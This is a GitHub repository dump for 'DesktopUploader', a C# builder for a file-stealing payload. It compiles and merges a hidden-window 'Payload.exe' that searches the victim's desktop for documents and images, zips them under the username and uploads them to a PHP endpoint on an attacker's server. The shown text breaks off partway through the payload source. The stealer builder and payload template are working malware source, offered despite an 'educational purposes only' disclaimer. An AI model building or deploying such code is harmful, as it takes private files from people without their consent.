├── .gitattributes ├── .gitignore ├── DesktopUploader.sln ├── DesktopUploader ├── Compiler.cs ├── ConsoleHelper.cs ├── DesktopUploader.csproj ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ └── Resources.resx ├── Resources │ ├── DotNetZip.dll │ ├── ILMerge.exe │ ├── SourceCode.cs │ ├── System.Compiler.dll │ └── uploader.php ├── UploaderSettings.cs └── me.ico └── README.md /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | 33 | # Visual Studio 2015/2017 cache/options directory 34 | .vs/ 35 | # Uncomment if you have tasks that create the project's static files in wwwroot 36 | #wwwroot/ 37 | 38 | # Visual Studio 2017 auto generated files 39 | Generated\ Files/ 40 | 41 | # MSTest test Results 42 | [Tt]est[Rr]esult*/ 43 | [Bb]uild[Ll]og.* 44 | 45 | # NUnit 46 | *.VisualState.xml 47 | TestResult.xml 48 | nunit-*.xml 49 | 50 | # Build Results of an ATL Project 51 | [Dd]ebugPS/ 52 | [Rr]eleasePS/ 53 | dlldata.c 54 | 55 | # Benchmark Results 56 | BenchmarkDotNet.Artifacts/ 57 | 58 | # .NET Core 59 | project.lock.json 60 | project.fragment.lock.json 61 | artifacts/ 62 | 63 | # StyleCop 64 | StyleCopReport.xml 65 | 66 | # Files built by Visual Studio 67 | *_i.c 68 | *_p.c 69 | *_h.h 70 | *.ilk 71 | *.meta 72 | *.obj 73 | *.iobj 74 | *.pch 75 | *.pdb 76 | *.ipdb 77 | *.pgc 78 | *.pgd 79 | *.rsp 80 | *.sbr 81 | *.tlb 82 | *.tli 83 | *.tlh 84 | *.tmp 85 | *.tmp_proj 86 | *_wpftmp.csproj 87 | *.log 88 | *.vspscc 89 | *.vssscc 90 | .builds 91 | *.pidb 92 | *.svclog 93 | *.scc 94 | 95 | # Chutzpah Test files 96 | _Chutzpah* 97 | 98 | # Visual C++ cache files 99 | ipch/ 100 | *.aps 101 | *.ncb 102 | *.opendb 103 | *.opensdf 104 | *.sdf 105 | *.cachefile 106 | *.VC.db 107 | *.VC.VC.opendb 108 | 109 | # Visual Studio profiler 110 | *.psess 111 | *.vsp 112 | *.vspx 113 | *.sap 114 | 115 | # Visual Studio Trace Files 116 | *.e2e 117 | 118 | # TFS 2012 Local Workspace 119 | $tf/ 120 | 121 | # Guidance Automation Toolkit 122 | *.gpState 123 | 124 | # ReSharper is a .NET coding add-in 125 | _ReSharper*/ 126 | *.[Rr]e[Ss]harper 127 | *.DotSettings.user 128 | 129 | # JustCode is a .NET coding add-in 130 | .JustCode 131 | 132 | # TeamCity is a build add-in 133 | _TeamCity* 134 | 135 | # DotCover is a Code Coverage Tool 136 | *.dotCover 137 | 138 | # AxoCover is a Code Coverage Tool 139 | .axoCover/* 140 | !.axoCover/settings.json 141 | 142 | # Visual Studio code coverage results 143 | *.coverage 144 | *.coveragexml 145 | 146 | # NCrunch 147 | _NCrunch_* 148 | .*crunch*.local.xml 149 | nCrunchTemp_* 150 | 151 | # MightyMoose 152 | *.mm.* 153 | AutoTest.Net/ 154 | 155 | # Web workbench (sass) 156 | .sass-cache/ 157 | 158 | # Installshield output folder 159 | [Ee]xpress/ 160 | 161 | # DocProject is a documentation generator add-in 162 | DocProject/buildhelp/ 163 | DocProject/Help/*.HxT 164 | DocProject/Help/*.HxC 165 | DocProject/Help/*.hhc 166 | DocProject/Help/*.hhk 167 | DocProject/Help/*.hhp 168 | DocProject/Help/Html2 169 | DocProject/Help/html 170 | 171 | # Click-Once directory 172 | publish/ 173 | 174 | # Publish Web Output 175 | *.[Pp]ublish.xml 176 | *.azurePubxml 177 | # Note: Comment the next line if you want to checkin your web deploy settings, 178 | # but database connection strings (with potential passwords) will be unencrypted 179 | *.pubxml 180 | *.publishproj 181 | 182 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 183 | # checkin your Azure Web App publish settings, but sensitive information contained 184 | # in these scripts will be unencrypted 185 | PublishScripts/ 186 | 187 | # NuGet Packages 188 | *.nupkg 189 | # NuGet Symbol Packages 190 | *.snupkg 191 | # The packages folder can be ignored because of Package Restore 192 | **/[Pp]ackages/* 193 | # except build/, which is used as an MSBuild target. 194 | !**/[Pp]ackages/build/ 195 | # Uncomment if necessary however generally it will be regenerated when needed 196 | #!**/[Pp]ackages/repositories.config 197 | # NuGet v3's project.json files produces more ignorable files 198 | *.nuget.props 199 | *.nuget.targets 200 | 201 | # Microsoft Azure Build Output 202 | csx/ 203 | *.build.csdef 204 | 205 | # Microsoft Azure Emulator 206 | ecf/ 207 | rcf/ 208 | 209 | # Windows Store app package directories and files 210 | AppPackages/ 211 | BundleArtifacts/ 212 | Package.StoreAssociation.xml 213 | _pkginfo.txt 214 | *.appx 215 | *.appxbundle 216 | *.appxupload 217 | 218 | # Visual Studio cache files 219 | # files ending in .cache can be ignored 220 | *.[Cc]ache 221 | # but keep track of directories ending in .cache 222 | !?*.[Cc]ache/ 223 | 224 | # Others 225 | ClientBin/ 226 | ~$* 227 | *~ 228 | *.dbmdl 229 | *.dbproj.schemaview 230 | *.jfm 231 | *.pfx 232 | *.publishsettings 233 | orleans.codegen.cs 234 | 235 | # Including strong name files can present a security risk 236 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 237 | #*.snk 238 | 239 | # Since there are multiple workflows, uncomment next line to ignore bower_components 240 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 241 | #bower_components/ 242 | 243 | # RIA/Silverlight projects 244 | Generated_Code/ 245 | 246 | # Backup & report files from converting an old project file 247 | # to a newer Visual Studio version. Backup files are not needed, 248 | # because we have git ;-) 249 | _UpgradeReport_Files/ 250 | Backup*/ 251 | UpgradeLog*.XML 252 | UpgradeLog*.htm 253 | ServiceFabricBackup/ 254 | *.rptproj.bak 255 | 256 | # SQL Server files 257 | *.mdf 258 | *.ldf 259 | *.ndf 260 | 261 | # Business Intelligence projects 262 | *.rdl.data 263 | *.bim.layout 264 | *.bim_*.settings 265 | *.rptproj.rsuser 266 | *- [Bb]ackup.rdl 267 | *- [Bb]ackup ([0-9]).rdl 268 | *- [Bb]ackup ([0-9][0-9]).rdl 269 | 270 | # Microsoft Fakes 271 | FakesAssemblies/ 272 | 273 | # GhostDoc plugin setting file 274 | *.GhostDoc.xml 275 | 276 | # Node.js Tools for Visual Studio 277 | .ntvs_analysis.dat 278 | node_modules/ 279 | 280 | # Visual Studio 6 build log 281 | *.plg 282 | 283 | # Visual Studio 6 workspace options file 284 | *.opt 285 | 286 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 287 | *.vbw 288 | 289 | # Visual Studio LightSwitch build output 290 | **/*.HTMLClient/GeneratedArtifacts 291 | **/*.DesktopClient/GeneratedArtifacts 292 | **/*.DesktopClient/ModelManifest.xml 293 | **/*.Server/GeneratedArtifacts 294 | **/*.Server/ModelManifest.xml 295 | _Pvt_Extensions 296 | 297 | # Paket dependency manager 298 | .paket/paket.exe 299 | paket-files/ 300 | 301 | # FAKE - F# Make 302 | .fake/ 303 | 304 | # CodeRush personal settings 305 | .cr/personal 306 | 307 | # Python Tools for Visual Studio (PTVS) 308 | __pycache__/ 309 | *.pyc 310 | 311 | # Cake - Uncomment if you are using it 312 | # tools/** 313 | # !tools/packages.config 314 | 315 | # Tabs Studio 316 | *.tss 317 | 318 | # Telerik's JustMock configuration file 319 | *.jmconfig 320 | 321 | # BizTalk build output 322 | *.btp.cs 323 | *.btm.cs 324 | *.odx.cs 325 | *.xsd.cs 326 | 327 | # OpenCover UI analysis results 328 | OpenCover/ 329 | 330 | # Azure Stream Analytics local run output 331 | ASALocalRun/ 332 | 333 | # MSBuild Binary and Structured Log 334 | *.binlog 335 | 336 | # NVidia Nsight GPU debugger configuration file 337 | *.nvuser 338 | 339 | # MFractors (Xamarin productivity tool) working folder 340 | .mfractor/ 341 | 342 | # Local History for Visual Studio 343 | .localhistory/ 344 | 345 | # BeatPulse healthcheck temp database 346 | healthchecksdb 347 | 348 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 349 | MigrationBackup/ 350 | -------------------------------------------------------------------------------- /DesktopUploader.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29123.88 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DesktopUploader", "DesktopUploader\DesktopUploader.csproj", "{554E6050-87E2-4836-962E-101263C20D63}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {554E6050-87E2-4836-962E-101263C20D63}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {554E6050-87E2-4836-962E-101263C20D63}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {554E6050-87E2-4836-962E-101263C20D63}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {554E6050-87E2-4836-962E-101263C20D63}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {19E7BF85-ADDD-4B77-A55F-EA45DF564837} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /DesktopUploader/Compiler.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.CSharp; 2 | using System; 3 | using System.CodeDom.Compiler; 4 | using System.Collections.Generic; 5 | using System.IO; 6 | using System.Diagnostics; 7 | using System.Threading; 8 | 9 | namespace DesktopUploader 10 | { 11 | public class Compiler 12 | { 13 | public Compiler(UploaderSettings uploaderSettings) 14 | { 15 | InitializeFiles(); 16 | Codedom(uploaderSettings); 17 | ILMerge(); 18 | } 19 | 20 | private void Codedom(UploaderSettings uploaderSettings) 21 | { 22 | string[] referencedAssemblies = new string[] { $"{Environment.CurrentDirectory} \\Temp\\DotNetZip.dll", "System.dll"}; 23 | Dictionary providerOptions = new Dictionary() { { "CompilerVersion", "v2.0" } }; 24 | string compilerOptions = "/target:winexe /platform:anycpu /optimize+"; 25 | 26 | using (CSharpCodeProvider cSharpCodeProvider = new CSharpCodeProvider(providerOptions)) 27 | { 28 | CompilerParameters compilerParameters = new CompilerParameters(referencedAssemblies) 29 | { 30 | GenerateExecutable = true, 31 | GenerateInMemory = false, 32 | OutputAssembly = "Temp//Payload.exe", 33 | CompilerOptions = compilerOptions, 34 | TreatWarningsAsErrors = false, 35 | IncludeDebugInformation = false, 36 | TempFiles = new TempFileCollection("Temp", false), 37 | }; 38 | 39 | CompilerResults compilerResults = cSharpCodeProvider.CompileAssemblyFromSource(compilerParameters, SourceCode(uploaderSettings)); 40 | if (compilerResults.Errors.Count > 0) 41 | { 42 | foreach (CompilerError compilerError in compilerResults.Errors) 43 | { 44 | Directory.Delete("Temp", true); 45 | throw new Exception(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText, 46 | compilerError.Line, compilerError.Column, compilerError.FileName)); 47 | } 48 | } 49 | } 50 | } 51 | 52 | private string SourceCode(UploaderSettings uploaderSettings) 53 | { 54 | string sourceCode = Properties.Resources.SourceCode; 55 | sourceCode = sourceCode.Replace("@Extensions", string.Join("\",\"", uploaderSettings.Extensions).ToLower()); 56 | sourceCode = sourceCode.Replace("@Size", uploaderSettings.SizeLimit.ToString()); 57 | sourceCode = sourceCode.Replace("@Url", uploaderSettings.Url); 58 | return sourceCode; 59 | } 60 | 61 | private void InitializeFiles() 62 | { 63 | if (Directory.Exists("Temp")) 64 | Directory.Delete("Temp", true); 65 | Thread.Sleep(250); 66 | Directory.CreateDirectory("Temp"); 67 | 68 | File.WriteAllBytes("Temp//DotNetZip.dll", Properties.Resources.DotNetZip); 69 | File.WriteAllBytes("Temp//ILMerge.exe", Properties.Resources.ILMerge); 70 | File.WriteAllBytes("Temp//System.Compiler.dll", Properties.Resources.System_Compiler); 71 | File.WriteAllBytes("uploader.php", Properties.Resources.uploader); 72 | } 73 | 74 | //inject DotNetZip lib to our payload 75 | private void ILMerge() 76 | { 77 | Process.Start(new ProcessStartInfo() 78 | { 79 | FileName = "cmd", 80 | Arguments = $"/C ILMerge.exe /ndebug:false /out:{Environment.CurrentDirectory}\\Payload.exe Payload.exe DotNetZip.dll", 81 | CreateNoWindow = true, 82 | WorkingDirectory = Environment.CurrentDirectory + "\\Temp", 83 | ErrorDialog = false, 84 | UseShellExecute = false, 85 | WindowStyle = ProcessWindowStyle.Hidden, 86 | }).WaitForExit(10000); 87 | 88 | if (Directory.Exists("Temp")) 89 | Directory.Delete("Temp", true); 90 | 91 | if (!File.Exists($"{Environment.CurrentDirectory}\\Payload.exe")) 92 | { 93 | throw new Exception("Error"); 94 | } 95 | } 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /DesktopUploader/ConsoleHelper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace DesktopUploader 4 | { 5 | public static class ConsoleHelper 6 | { 7 | public static void Info() 8 | { 9 | Console.Title = "Desktop Uplaoder v1.0"; 10 | Console.BackgroundColor = ConsoleColor.White; 11 | Console.ForegroundColor = ConsoleColor.Black; 12 | Console.WriteLine("[#]Desktop Uploader v1.0: Search And Upload Files"); 13 | Console.WriteLine("[#]Developed: NYAN CAT@hf"); 14 | Console.WriteLine("[#]Website: GitHub.com/NYAN-x-CAT\n"); 15 | Console.BackgroundColor = ConsoleColor.Black; 16 | Console.ForegroundColor = ConsoleColor.White; 17 | Console.Write("press any key to continue..."); 18 | Console.ReadKey(); 19 | Console.Clear(); 20 | Banner(); 21 | } 22 | 23 | public static void Banner() 24 | { 25 | Console.Write(@" 26 | ________ ______ _____ 27 | ___ __ \______________ /___ /______________ 28 | __ / / / _ \_ ___/_ //_/ __/ __ \__ __ \ 29 | _ /_/ // __/(__ )_ ,< / /_ / /_/ /_ /_/ / 30 | /_____/ \___//____/ /_/|_| \__/ \____/_ .___/ 31 | /_/ "); 32 | Console.Write(@" 33 | _____ __ ______ _________ 34 | __ / / /__________ /___________ ______ /____________ 35 | _ / / /___ __ \_ /_ __ \ __ `/ __ /_ _ \_ ___/ 36 | / /_/ / __ /_/ / / / /_/ / /_/ // /_/ / / __/ / 37 | \____/ _ .___//_/ \____/\__,_/ \__,_/ \___//_/ 38 | /_/ 39 | 40 | "); 41 | } 42 | 43 | public static void DeletePrevConsoleLine() 44 | { 45 | if (Console.CursorTop == 0) return; 46 | Console.SetCursorPosition(0, Console.CursorTop - 1); 47 | Console.Write(new string(' ', Console.WindowWidth)); 48 | Console.SetCursorPosition(0, Console.CursorTop - 1); 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /DesktopUploader/DesktopUploader.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {554E6050-87E2-4836-962E-101263C20D63} 8 | Exe 9 | DesktopUploader 10 | DesktopUploader 11 | v4.0 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | none 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | me.ico 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | True 53 | True 54 | Resources.resx 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | ResXFileCodeGenerator 63 | Resources.Designer.cs 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /DesktopUploader/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | /* 4 | │ Author : NYAN CAT 5 | │ Name : DesktopUploader v0.1 6 | │ Contact Me : GitHub.com/NYAN-x-CAT 7 | 8 | This program is distributed for educational purposes only. 9 | 10 | */ 11 | 12 | namespace DesktopUploader 13 | { 14 | public class Program 15 | { 16 | public static void Main() 17 | { 18 | ConsoleHelper.Banner(); 19 | ConsoleHelper.Info(); 20 | 21 | //ask user to enter uploader settings 22 | UploaderSettings uploaderSettings = CreateNewUploader(); 23 | 24 | //show settings in green font 25 | CurrentSettings(uploaderSettings); 26 | 27 | //use codedom to compile 28 | Compile(uploaderSettings); 29 | 30 | Console.Write("\nDone!\nPress any key to exit..."); 31 | Console.ReadKey(); 32 | } 33 | 34 | private static UploaderSettings CreateNewUploader() 35 | { 36 | UploaderSettings uploaderSettings = new UploaderSettings(); 37 | 38 | try 39 | { 40 | //URL 41 | Console.WriteLine("[+]Uploader Path: [default http://127.0.0.1/uploader.php]"); 42 | string url = Console.ReadLine(); 43 | if (!string.IsNullOrWhiteSpace(url)) 44 | uploaderSettings.Url = url; 45 | else 46 | { 47 | ConsoleHelper.DeletePrevConsoleLine(); 48 | Console.WriteLine(uploaderSettings.Url); 49 | } 50 | Console.WriteLine(); 51 | 52 | //Extensions 53 | Console.WriteLine("[+]Extensions: [default .jpeg .jpg .txt .doc .docx]"); 54 | string extensions = Console.ReadLine(); 55 | if (!string.IsNullOrWhiteSpace(extensions)) 56 | { 57 | uploaderSettings.Extensions.Clear(); 58 | foreach (string extension in extensions.Split(new[] { " ." }, StringSplitOptions.None)) 59 | { 60 | uploaderSettings.Extensions.Add(extension); 61 | } 62 | } 63 | else 64 | { 65 | ConsoleHelper.DeletePrevConsoleLine(); 66 | Console.WriteLine(".jpeg .jpg .txt .doc .docx"); 67 | } 68 | Console.WriteLine(); 69 | 70 | //Size Limit 71 | Console.WriteLine("[+]Max File Size in KB: [default 500]"); 72 | string size = Console.ReadLine(); 73 | if (!string.IsNullOrWhiteSpace(size)) 74 | uploaderSettings.SizeLimit = Convert.ToInt32(size); 75 | else 76 | { 77 | ConsoleHelper.DeletePrevConsoleLine(); 78 | Console.WriteLine("500"); 79 | } 80 | Console.WriteLine(); 81 | } 82 | catch (Exception ex) 83 | { 84 | Console.ForegroundColor = ConsoleColor.Red; 85 | Console.WriteLine(ex.Message); 86 | Console.ReadKey(); 87 | Environment.Exit(0); 88 | } 89 | 90 | return uploaderSettings; 91 | } 92 | 93 | //Preview Settings 94 | private static void CurrentSettings(UploaderSettings uploaderSettings) 95 | { 96 | Console.Clear(); 97 | ConsoleHelper.Banner(); 98 | Console.ForegroundColor = ConsoleColor.Green; 99 | Console.WriteLine("\n[!]Current Settings:"); 100 | Console.WriteLine($"Url: {uploaderSettings.Url}"); 101 | Console.Write("Extensions:"); 102 | uploaderSettings.Extensions.ForEach(foo => Console.Write($" {foo}")); 103 | Console.WriteLine($"\nMax size: {uploaderSettings.SizeLimit / 1024}KB"); 104 | Console.ResetColor(); 105 | } 106 | 107 | //codedom to compile 108 | private static void Compile(UploaderSettings uploaderSettings) 109 | { 110 | try 111 | { 112 | new Compiler(uploaderSettings); 113 | 114 | Console.ForegroundColor = ConsoleColor.Green; 115 | Console.WriteLine($"\nCreated: payload.exe"); 116 | Console.WriteLine($"Created: uploader.php"); 117 | Console.ResetColor(); 118 | } 119 | catch (Exception ex) 120 | { 121 | Console.ForegroundColor = ConsoleColor.Red; 122 | Console.WriteLine(ex.Message); 123 | Console.ReadKey(); 124 | Environment.Exit(0); 125 | } 126 | } 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /DesktopUploader/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("DesktopUploader")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("DesktopUploader")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] 36 | -------------------------------------------------------------------------------- /DesktopUploader/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace DesktopUploader.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("DesktopUploader.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized resource of type System.Byte[]. 65 | /// 66 | internal static byte[] DotNetZip { 67 | get { 68 | object obj = ResourceManager.GetObject("DotNetZip", resourceCulture); 69 | return ((byte[])(obj)); 70 | } 71 | } 72 | 73 | /// 74 | /// Looks up a localized resource of type System.Byte[]. 75 | /// 76 | internal static byte[] ILMerge { 77 | get { 78 | object obj = ResourceManager.GetObject("ILMerge", resourceCulture); 79 | return ((byte[])(obj)); 80 | } 81 | } 82 | 83 | /// 84 | /// Looks up a localized string similar to using Ionic.Zip; 85 | ///using System; 86 | ///using System.Collections.Generic; 87 | ///using System.IO; 88 | ///using System.Threading; 89 | ///using System.Windows.Forms; 90 | ///using System.Net; 91 | /// 92 | ///namespace DesktopGrabber 93 | ///{ 94 | /// public class Program 95 | /// { 96 | /// public static void Main() 97 | /// { 98 | /// DesktopGrabber grabber = new DesktopGrabber(); 99 | /// grabber.Extensions = new List<string>(); 100 | /// grabber.Extensions.AddRange(new string[] { "@Extensions" }); 101 | /// grabber.SizeLimit = @Size; 102 | /// gra [rest of string was truncated]";. 103 | /// 104 | internal static string SourceCode { 105 | get { 106 | return ResourceManager.GetString("SourceCode", resourceCulture); 107 | } 108 | } 109 | 110 | /// 111 | /// Looks up a localized resource of type System.Byte[]. 112 | /// 113 | internal static byte[] System_Compiler { 114 | get { 115 | object obj = ResourceManager.GetObject("System_Compiler", resourceCulture); 116 | return ((byte[])(obj)); 117 | } 118 | } 119 | 120 | /// 121 | /// Looks up a localized resource of type System.Byte[]. 122 | /// 123 | internal static byte[] uploader { 124 | get { 125 | object obj = ResourceManager.GetObject("uploader", resourceCulture); 126 | return ((byte[])(obj)); 127 | } 128 | } 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /DesktopUploader/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\Resources\DotNetZip.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 123 | 124 | 125 | ..\Resources\ILMerge.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 126 | 127 | 128 | ..\Resources\SourceCode.cs;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 129 | 130 | 131 | ..\Resources\System.Compiler.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 132 | 133 | 134 | ..\Resources\uploader.php;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 135 | 136 | -------------------------------------------------------------------------------- /DesktopUploader/Resources/DotNetZip.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/DesktopUploader/5a2c4939eb4ab368e0edf1e1146d0577e029b431/DesktopUploader/Resources/DotNetZip.dll -------------------------------------------------------------------------------- /DesktopUploader/Resources/ILMerge.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/DesktopUploader/5a2c4939eb4ab368e0edf1e1146d0577e029b431/DesktopUploader/Resources/ILMerge.exe -------------------------------------------------------------------------------- /DesktopUploader/Resources/SourceCode.cs: -------------------------------------------------------------------------------- 1 | using Ionic.Zip; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Threading; 6 | using System.Net; 7 | using System.Diagnostics; 8 | 9 | namespace DesktopGrabber 10 | { 11 | public class Program 12 | { 13 | public static void Main() 14 | { 15 | DesktopGrabber grabber = new DesktopGrabber(); 16 | grabber.Extensions = new List(); 17 | grabber.Extensions.AddRange(new string[] { "@Extensions" }); 18 | grabber.SizeLimit = @Size; 19 | grabber.ZipName = Path.GetTempPath() + DateTime.Now.ToString("MM-dd-yyyy_HH-mm-ss") + "_" + Environment.UserName + ".zip"; 20 | grabber.Url = "@Url"; 21 | 22 | grabber.Run(); 23 | } 24 | } 25 | 26 | public class DesktopGrabber 27 | { 28 | 29 | /* 30 | * │ Author : NYAN CAT 31 | * │ Name : Desktop Grabber 32 | * │ Contact : https:github.com/NYAN-x-CAT 33 | * 34 | * This program is distributed for educational purposes only. 35 | */ 36 | 37 | public string ZipName; 38 | public int SizeLimit; 39 | public List Extensions; 40 | public string Url; 41 | 42 | public void Run() 43 | { 44 | Search(); 45 | Send(); 46 | Delete(); 47 | } 48 | 49 | //Search for files 50 | private void Search() 51 | { 52 | try 53 | { 54 | List files = new List(); 55 | foreach (string file in Directory.GetFiles(Environment.GetFolderPath(0), "*.*", SearchOption.AllDirectories)) 56 | { 57 | if (new FileInfo(file).Length <= SizeLimit && Extensions.Contains(Path.GetExtension(file.ToLower()))) 58 | { 59 | files.Add(file); 60 | } 61 | } 62 | if (files.Count == 0) return; // no files 63 | 64 | Save(files); 65 | } 66 | catch { } 67 | } 68 | 